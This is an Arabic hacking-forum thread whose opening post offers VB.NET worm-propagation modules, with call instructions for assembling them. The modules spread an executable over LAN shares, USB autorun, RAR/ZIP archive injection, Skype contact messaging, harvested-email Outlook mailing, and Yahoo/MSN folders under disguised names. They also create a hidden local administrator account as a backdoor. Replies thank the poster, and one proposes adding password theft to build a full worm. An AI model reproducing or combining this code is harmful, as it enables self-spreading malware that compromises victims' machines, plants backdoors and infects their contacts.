حالة الموضوع:
مغلق
  1. ●¦ Snharib ¦●

    ●¦ Snharib ¦● V • I • P

    الأنتساب:
    ‏8 يناير 2014
    المشاركات:
    1,128
    الإعجابات المتلقاة:
    1,786
    نقاط الجائزة:
    113
    الإقامة:
    || Iraq ||

    [​IMG]

    » الصلاة و السلام على أشرف المرسليـن ...~
    » الحمد لله وحده نحمده و نشكره و نستعينه و نستغفره و نعود بالله من شرور أنفسنا و من سيئات اعمالنا ...~
    » من يهده الله فلا مضل له و من يضلل فلن تجد له ولياً مرشدا ...~
    » و أشهد ألا إله إلا الله وحده لا شريك له و أن محمداً عبده و رسوله صلى الله عليه و سلم ...~
    » وعلى آله و صحبه أجمعين و من تبعهم بإحسان إلى يوم الدين ...~
    » ربنا لا علم لنا إلا ما علمتنا إنك أنت العليم الخبير ...~
    » ربنا لا فهم لنا إلا ما فهمتنا إنك أنت الجواد الكريم ...~
    » ربي اشرح لي صدري و يسر لي أمري و احلل عقدة من لساني يفقهوا قولي ...~


    اكواد أنتشارً قويةْ جداً , Spreads Code

    [ Spreads ] [ LAN ]

    [NEW]Imports System
    Imports System.Collections.Generic
    Imports System.Text
    Imports System.Windows.Forms
    Imports System.IO
    Imports Microsoft.Win32
    Imports System.DirectoryServices
    Imports System.Management


    Module laan
    Public [me] As String = Convert.ToString(Process.GetCurrentProcess().MainModule.FileName)
    Public Function chkIt() As Boolean
    Dim regstr As String = DirectCast(Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Universal", "Universal", "Universal"), String)
    If regstr = "Universal" Then
    Return True
    Else
    Dim key As RegistryKey = Registry.LocalMachine.OpenSubKey("Software", True)
    Dim newkey As RegistryKey = key.CreateSubKey("Universal")
    newkey.SetValue("Universal", [me])
    Return False
    End If
    End Function
    Public Sub UniversalUser()
    Try
    Dim ad As New DirectoryEntry("WinNT://" & Environment.MachineName & ",computer")
    Dim usr As DirectoryEntry = ad.Children.Add("Universal", "user")
    usr.Invoke("SetPassword", New Object() {"Universalwashere"})
    usr.CommitChanges()

    Dim de As DirectoryEntry
    de = ad.Children.Find("Administrators", "group")
    If de IsNot Nothing Then
    de.Invoke("Add", New Object() {usr.Path.ToString()})
    End If

    Try
    Dim rkey As String = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList"
    Registry.SetValue(rkey, "Universal", 0, RegistryValueKind.DWord)
    Catch er As Exception

    End Try
    Catch ex As Exception
    End Try
    End Sub
    Public Sub Share()

    Try
    Dim shares As New ManagementObjectSearcher("select * from win32_share")
    For Each serv As ManagementObject In shares.[Get]()
    Dim shareName As String = Convert.ToString(serv("Name"))
    If Not shareName.Contains("$") Then
    File.Copy([me], ("\\" & Environment.MachineName & "\") + shareName & "\winadmin-setup.exe", True)
    End If
    Next
    Catch ex As Exception
    End Try


    Try
    Dim key As String = "Software\Microsoft\Windows\CurrentVersion\Explorer\Map Network Drive MRU\"
    Dim reg As RegistryKey = Registry.CurrentUser.OpenSubKey(key)


    For Each valuename As String In reg.GetValueNames()
    Dim path As String = reg.GetValue(valuename).ToString()
    If valuename.ToLower() <> "mrulist" Then
    Try
    File.Copy([me], path & "\\winadmin-setup.exe", True)
    Catch er As Exception
    End Try
    End If
    Next
    reg.Close()
    Catch er As Exception
    End Try
    End Sub
    Public Sub CreateShare(ByVal dir As String, ByVal name As String)

    Try
    Directory.CreateDirectory(dir)
    Dim managementClass As New ManagementClass("Win32_Share")
    Dim inParams As ManagementBaseObject = managementClass.GetMethodParameters("Create")
    Dim outParams As ManagementBaseObject
    inParams("Description") = name
    inParams("Name") = name
    inParams("Path") = dir
    inParams("Type") = &H0
    outParams = managementClass.InvokeMethod("Create", inParams, Nothing)
    If CUInt((outParams.Properties("ReturnValue").Value)) = 0 Then
    If Directory.Exists(dir) Then
    Dim d As New DirectoryInfo(dir)
    d.Attributes = FileAttributes.Hidden
    End If

    End If
    Catch e As Exception
    End Try
    End Sub
    End Module[/NEW]

    [ Spreads ] [ USB ]

    [NEW]Imports System.IO
    Module usb
    Public Sub USB()
    Try
    Dim drivers As String = My.Computer.FileSystem.SpecialDirectories.ProgramFiles
    Dim driver() As String = (IO.Directory.GetLogicalDrives)
    For Each drivers In driver
    If File.Exists(drivers & "windows.exe") = False Then
    File.Copy(System.Reflection.Assembly. _
    GetExecutingAssembly.Location, drivers & "windows.exe")
    End If
    Dim commande = New StreamWriter(drivers & "autorun.inf")
    commande.WriteLine("[autorun]")
    commande.WriteLine("open = windows.exe")
    commande.WriteLine("****************lexecute=windows.exe")
    commande.Close()
    File.SetAttributes(drivers & "autorun.inf", FileAttributes.Hidden)
    File.SetAttributes(drivers & "windows.exe", FileAttributes.Hidden)
    Next
    Catch ex As Exception
    End Try
    End Sub
    End Module[/NEW]

    [ Spreads ] [ RAR ]

    [NEW]Imports System
    Imports System.Diagnostics
    Imports System.IO
    Imports System.Runtime.InteropServices
    Imports System.Text
    Module RARR
    <DllImport("kernel32.dll", CharSet:=CharSet.Auto)> _
    Public Function GetShortPathName(<MarshalAs(UnmanagedType.LPTStr)> ByVal path As String, <MarshalAs(UnmanagedType.LPTStr)> ByVal shortPath As StringBuilder, ByVal shortPathLength As Integer) As Integer
    End Function
    Dim _rarPath As String
    Dim _copiedExeName As String
    Private Sub Search(ByVal pathName As String)
    Dim files As String()
    files = Directory.GetFiles(pathName)
    For Each file As String In files
    If file.Contains(".rar") Then
    RarStart(file)
    End If
    If file.Contains(".zip") Then
    RarStart(file)
    End If
    Next

    Dim subdirectorys As String() = Directory.GetDirectories(pathName)
    For Each subdirectory As String In subdirectorys
    Search(subdirectory)
    Next
    End Sub


    Public Sub Spread(ByVal myExeName As String)
    _copiedExeName = myExeName
    Dim drives As String() = Environment.GetLogicalDrives()
    For Each strDrive As String In drives
    Search(strDrive)
    Next
    File.Create(Environment.GetFolderPath(Environment.SpecialFolder.Application​Data) & "\temp48.txt")
    End Sub

    Public Sub RarStart(ByVal archiveToInject As String)
    Dim sysFolder As String = Environment.GetFolderPath(Environment.SpecialFolder.System)
    Dim rootdrive As String = sysFolder.Replace(sysFolder.Substring(sysFolder.IndexOf("\")), [String].Empty) & "\"

    _rarPath = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\WinRAR\WinRAR.exe"
    If File.Exists(_rarPath) Then
    If Not File.Exists(Path.Combine(rootdrive, _copiedExeName)) Then
    File.Copy(Process.GetCurrentProcess().MainModule.FileName, Path.Combine(rootdrive, _copiedExeName))
    End If

    Dim getshortExePath = New StringBuilder(255)
    GetShortPathName(Path.Combine(rootdrive, _copiedExeName), getshortExePath, getshortExePath.Capacity)
    Dim evilpath As String = getshortExePath.ToString()


    Dim shortArchiveDirectory = New StringBuilder(255)
    GetShortPathName(archiveToInject, shortArchiveDirectory, shortArchiveDirectory.Capacity)

    Try
    Dim rarProcess As New ProcessStartInfo()
    Dim theInfo As String = (" a " & shortArchiveDirectory.ToString & " ") + evilpath
    rarProcess.FileName = _rarPath
    rarProcess.Arguments = theInfo
    rarProcess.WindowStyle = ProcessWindowStyle.Hidden

    Process.Start(rarProcess)
    Catch
    End Try

    End If
    End Sub
    End Module[/NEW]

    [ Spreads ] [ SKYPE ]

    [NEW]Imports System.IO
    Module SKYYPE
    Public Sub Skype()
    Try
    Dim vv As New FileStream("C:\windows\system32\s4c.vbs", FileMode.Create, FileAccess.Write)
    Dim g As New StreamWriter(vv)
    g.BaseStream.Seek(0, SeekOrigin.End)
    g.WriteLine("on error resume next")
    g.WriteLine("set Fruxr = WScript.CreateObject(""Skype4COM.Skype"", ""Skype_"")")
    g.WriteLine("Fruxr.Client.Start()")
    g.WriteLine("Fruxr.Attach()")
    g.WriteLine("For Each KZN In Fruxr.Friends")
    g.WriteLine("Fruxr.SendMessage KZN.handle,""Remplacer ici par le texte que vous voulez (ce texte sera ecrit dans toutes les conversations de tout les amis skype de la victime" & """")
    g.WriteLine("next")
    g.Close()
    Process.Start("C:\windows\system32\s4c.vbs")
    Dim fa As New FileInfo("C:\windows\system32\s4c.vbs")
    fa.Delete()
    Catch ex As Exception
    End Try
    End Sub
    End Module[/NEW]

    [ Spreads ] [ OUTLOOK ]

    [NEW]Imports System
    Imports System.Collections.Generic
    Imports System.Text
    Imports System.IO
    Imports System.Diagnostics
    Imports System.Windows.Forms
    Imports Microsoft.Win32
    Imports System.Collections
    Imports System.Threading
    Imports System.Text.RegularExpressions
    Imports System.Net.Mail
    Imports System.Runtime.InteropServices
    Module Outloook

    Private [me] As String = Convert.ToString(Process.GetCurrentProcess().MainModule.FileName)
    Private myDocs As String = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)
    Private arrEmails As New ArrayList()
    Private arInfect As New ArrayList()
    Private Declare Unicode Function Dns Lib "dnsapi" Alias "DnsQuery_W" (<MarshalAs(UnmanagedType.VBByRefStr)> ByRef strName As String, ByVal intType As Integer, ByVal intOpt As Integer, ByVal intServer As Integer, ByRef pResult As IntPtr, ByVal intReserved As Integer) As Integer
    Public Sub Send()

    arrEmails = SearchEmails(myDocs, "*.*")
    Dim arrFrom As ArrayList = arrEmails
    arrFrom.Reverse()

    Dim file As String = GetFile()

    If file <> "" Then
    If arrEmails.Count > 0 Then
    Dim data As New Attachment(file)
    Dim myEnum As IEnumerator = arrEmails.GetEnumerator()

    Dim toAddy As String = ""
    Dim fromAddy As String = ""


    Dim arSent As New ArrayList()

    While myEnum.MoveNext()

    toAddy = Convert.ToString(myEnum.Current)
    Dim fromEnum As IEnumerator = arrFrom.GetEnumerator()

    While fromEnum.MoveNext()

    fromAddy = Convert.ToString(fromEnum.Current)


    If toAddy <> fromAddy Then

    If Not arSent.Contains(toAddy) Then

    arSent.Add(toAddy)

    Dim [to] As New MailAddress(toAddy)
    Dim from As New MailAddress(fromAddy)

    Dim message As New MailMessage(from, [to])
    message.Subject = "Hey !"


    message.Body = "Remplacer ici par le texte qui sera envoyer dans le mail"
    message.Attachments.Add(data)

    Dim host As String = toAddy.Substring(toAddy.IndexOf("@")).Replace("@", [String].Empty)
    Dim mailMxHost As String = GetMXRecords(host)

    Try

    Dim client As New SmtpClient(mailMxHost)

    client.Send(message)
    Catch er As Exception
    End Try
    End If
    End If
    End While
    End While

    data.Dispose()
    End If
    End If
    End Sub
    Private Function SearchEmails(ByVal dir As String, ByVal fileType As String) As ArrayList
    Dim arEmails As New ArrayList()
    Dim dr As New DirectoryInfo(dir)
    Dim filesInDir As FileInfo() = dr.GetFiles(fileType)
    For Each file__1 As FileInfo In filesInDir
    Console.WriteLine(file__1.FullName)
    Dim sr As StreamReader = File.OpenText(file__1.FullName)
    Dim input As [String]
    While (InlineAssignHelper(input, sr.ReadLine())) IsNot Nothing
    Dim email As String = ExtractAddr(input)
    If email <> "" Then
    If Not arEmails.Contains(email) Then

    Dim strValGex As String = "^([a-zA-Z0-9_\-\.]+)@((\[[0-9]{1,3}" & "\.[0-9]{1,3}\.[0-9]{1,3}\.)|(([a-zA-Z0-9\-]+\" & ".)+))([a-zA-Z]{2,4}|[0-9]{1,3})(\]?)$"

    Dim regVal As New Regex(strValGex)

    If regVal.IsMatch(email) Then
    If Not arEmails.Contains(email) Then
    arEmails.Add(email)
    End If
    End If
    End If
    End If
    End While
    Next

    Return arEmails
    End Function
    Public Function ExtractAddr(ByVal InputData As String) As String

    Dim tmpExtractAddr As String = Nothing
    Dim AtPos As Integer, p1 As Integer, p2 As Integer, n As Integer = 0
    Dim tmp As String = Nothing
    AtPos = (InputData.IndexOf("@", 0) + 1)
    p1 = 1
    p2 = InputData.Length
    tmpExtractAddr = ""
    If AtPos = 0 Then
    Return tmpExtractAddr
    End If

    For n = (AtPos - 1) To 1 Step -1
    tmp = InputData.Substring(n - 1, 1)
    If (tmp = " ") Or (tmp = "<") Or (tmp = "(") Or (tmp = ":") Or (tmp = ",") Or (tmp = "[") Then
    p1 = n + 1
    Exit For
    End If
    Next

    For n = (AtPos + 1) To InputData.Length
    tmp = InputData.Substring(n - 1, 1)
    If (tmp = " ") Or (tmp = ">") Or (tmp = ")") Or (tmp = ":") Or (tmp = ",") Or (tmp = "]") Then
    p2 = n - 1
    Exit For
    End If
    Next


    Dim email As String = InputData.Substring(p1 - 1, (p2 - p1) + 1)
    email = Regex.Replace(email, "<(.|\n)*?>", String.Empty)
    email = email.Replace("&nbsp;", "")
    email = email.Replace(" ", "")
    email = email.Replace("""", "")

    Return email
    End Function
    Private Function GetFile() As String
    Dim dest As String = ""
    If arInfect.Count > 0 Then
    Dim enumInfect As IEnumerator = arInfect.GetEnumerator()
    While enumInfect.MoveNext()
    dest = Convert.ToString(enumInfect.Current)
    End While
    End If
    Return dest
    End Function
    Public Function GetMXRecords(ByVal host As String) As String
    Dim p1 As IntPtr = IntPtr.Zero
    Dim p2 As IntPtr = IntPtr.Zero
    Dim mx As STRMX

    Dim num1 As Integer = Dns(host, 15, 8, 0, p1, 0)
    Dim server As String = ""

    If num1 <> 0 Then
    server = host
    Else
    p2 = p1
    While Not p2.Equals(IntPtr.Zero)
    mx = DirectCast(Marshal.PtrToStructure(p2, GetType(STRMX)), STRMX)
    If mx.sType = 15 Then
    Dim text1 As String = Marshal.PtrToStringAuto(mx.pNameEx)
    If text1 <> "" Then
    server = text1
    End If
    End If
    p2 = mx.pNext
    End While
    End If
    Return server
    End Function
    Private Structure STRMX
    Public pNext As IntPtr
    Public strName As String
    Public sType As Short
    Public intFlag As Integer
    Public intTTL As Integer
    Public intRes As Integer
    Public pNameEx As IntPtr
    End Structure
    Private Function InlineAssignHelper(Of T)(ByRef target As T, ByVal value As T) As T
    target = value
    Return value
    End Function
    End Module[/NEW]

    [ Spreads ] [ YAHOO ]

    [NEW]Imports System.IO
    Imports System.Reflection
    Module yahoo
    Sub yahoo_sp()
    On Error Resume Next
    Dim YoModule As System.Reflection.Module = [Assembly].GetExecutingAssembly().GetModules()(0)
    Dim YaFile As String = Application.ExecutablePath
    Dim FoPath As String = "C:\Documents and Settings\" & Environ("USERNAME") & "\Local Settings\Application Data\Yahoo Messenger\"
    If Dir(FoPath, FileAttribute.Directory) <> "" Then
    Dim i As Int32 = 0
    Dim x As Int32 = 0
    Dim shares() As String
    shares = System.IO.Directory.GetDirectories(FoPath)
    For i = 0 To shares.GetUpperBound(0)
    If Dir(shares(i), FileAttribute.Directory) <> "" Then
    If File.Exists(shares(i) & "\ys.scr") = False Then
    File.Copy(YaFile, shares(i) & "\ys.scr")
    End If
    End If
    Next
    End If
    End Sub
    End Module[/NEW]

    [ Spreads ] [ MSN ]

    [NEW]Imports System.IO
    Imports System.Reflection
    Module MSSN
    Public Sub msn()
    On Error Resume Next
    Dim moduledeforme1 As System.Reflection.Module = [Assembly].GetExecutingAssembly().GetModules()(0)
    Dim fichier As String = Application.ExecutablePath
    Dim dossier As String = "C:\Documents And Settings\" & Environ("USERNAME") & "\Local Settings\Application Data\Microsoft\Messenger\"
    If Dir(dossier, FileAttribute.Directory) <> "" Then
    Dim i As Int32 = 0
    Dim x As Int32 = 0
    Dim propage() As String
    propage = System.IO.Directory.GetDirectories(dossier)
    For i = 0 To propage.GetUpperBound(0)
    If Dir(propage(i), FileAttribute.Directory) <> "" Then
    If File.Exists(propage(i) & "\winupdate.exe") = False Then
    File.Copy(fichier, propage(i) & "\winupdate.exe")
    End If
    End If
    Next
    End If
    End Sub
    End Module[/NEW]

    *

    أمـاً طريقةً الأستدعاءً فتًكونٍ كألتًاليْ : -

    [INFO]
    Call laan
    Call USB
    Call Skype
    Call RARR
    Call Outloook
    Call yahoo
    Call msn
    Call
    [/INFO]

    ----------------------------------------------------------

    ...تحيًاتْي لكًم..

     
  2. &الكنك&

    &الكنك& V • I • P

    الأنتساب:
    ‏27 أغسطس 2012
    المشاركات:
    354
    الإعجابات المتلقاة:
    29
    نقاط الجائزة:
    28
    الوظيفة:
    ملازم في الجيش العراقي
    الإقامة:
    العراق
    رد: أكواًد أنتْشارُ , [VB.NET ] [ Spreads Yahoo , Msn , Lan , P2p , Skype , Outlook , Rar ]

    مآ رآيك ان نبرمج برنامج اختراق متكامل )2:"

    يكون [ w0orm ]


    ويكون انتشاره في

    [ USB ]


    [ LAN ]

    [ SKYPE ]


    [ OUTLOOK ]

    [ YAHOO ]

    ويدعم خاصيه جلب الباسووردات :{y.}

    :{y.}:{14}::{11}:​
     
  3. ●¦ Snharib ¦●

    ●¦ Snharib ¦● V • I • P

    الأنتساب:
    ‏8 يناير 2014
    المشاركات:
    1,128
    الإعجابات المتلقاة:
    1,786
    نقاط الجائزة:
    113
    الإقامة:
    || Iraq ||
    رد: أكواًد أنتْشارُ , [VB.NET ] [ Spreads Yahoo , Msn , Lan , P2p , Skype , Outlook , Rar ]

    ههههههههههههههههههههههههههههههههههه
    :eek:

    شلون شكلً منور .
     
    1 person likes this.
  4. X444X TEAM

    X444X TEAM Developer

    الأنتساب:
    ‏30 يوليو 2012
    المشاركات:
    47
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6
    رد: أكواًد أنتْشارُ , [VB.NET ] [ Spreads Yahoo , Msn , Lan , P2p , Skype , Outlook , Rar ]

    يعطيك العافية , جآري التجربة .. ^:"
     
  5. Tej HAcKEr

    Tej HAcKEr DeveloPer Plus

    الأنتساب:
    ‏15 ديسمبر 2011
    المشاركات:
    133
    الإعجابات المتلقاة:
    4
    نقاط الجائزة:
    18
    الوظيفة:
    hacker
    الإقامة:
    Tunisia
    رد: أكواًد أنتْشارُ , [VB.NET ] [ Spreads Yahoo , Msn , Lan , P2p , Skype , Outlook , Rar ]

    الله يعطيك العافية !!:{​
     
  6. Life

    Life Developer

    الأنتساب:
    ‏31 يوليو 2012
    المشاركات:
    55
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6
    الإقامة:
    k.s.a
    رد: أكواًد أنتْشارُ , [VB.NET ] [ Spreads Yahoo , Msn , Lan , P2p , Skype , Outlook , Rar ]

    يعطيك العافيه اخوي ’, ً#ٌ5oًًًُ.
     
  7. ÍяâΘ

    ÍяâΘ Developer

    الأنتساب:
    ‏30 نوفمبر 2012
    المشاركات:
    63
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6
    الإقامة:
    ÍŕÁΘ
    رد: أكواًد أنتْشارُ , [VB.NET ] [ Spreads Yahoo , Msn , Lan , P2p , Skype , Outlook , Rar ]

    بارك الله فيك عزيزي ^:"
     
  8. عُبْدُالـڔבـَمَڼ

    عُبْدُالـڔבـَمَڼ Developer

    الأنتساب:
    ‏29 مارس 2012
    المشاركات:
    37
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6
    الوظيفة:
    |[ HacKeR - Security - Hacking Software ]|
    الإقامة:
    |[ Saudi Arabia ]|
    رد: أكواًد أنتْشارُ , [VB.NET ] [ Spreads Yahoo , Msn , Lan , P2p , Skype , Outlook , Rar ]

    بارك الله فيك ياغالي . . :{11}:
     
  9. ( xP )

    ( xP ) DeveloPer Plus

    الأنتساب:
    ‏10 مارس 2012
    المشاركات:
    132
    الإعجابات المتلقاة:
    2
    نقاط الجائزة:
    18
    الإقامة:
    IQ-TAM
    رد: أكواًد أنتْشارُ , [VB.NET ] [ Spreads Yahoo , Msn , Lan , P2p , Skype , Outlook , Rar ]

    بارك الله فيك اخى :{1}:​
     
  10. Ahmed Alqurashi

    Ahmed Alqurashi Developer

    الأنتساب:
    ‏14 ديسمبر 2011
    المشاركات:
    14
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    1
    رد: أكواًد أنتْشارُ , [VB.NET ] [ Spreads Yahoo , Msn , Lan , P2p , Skype , Outlook , Rar ]

    مشكور أخي عل جهودك . ^:"
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة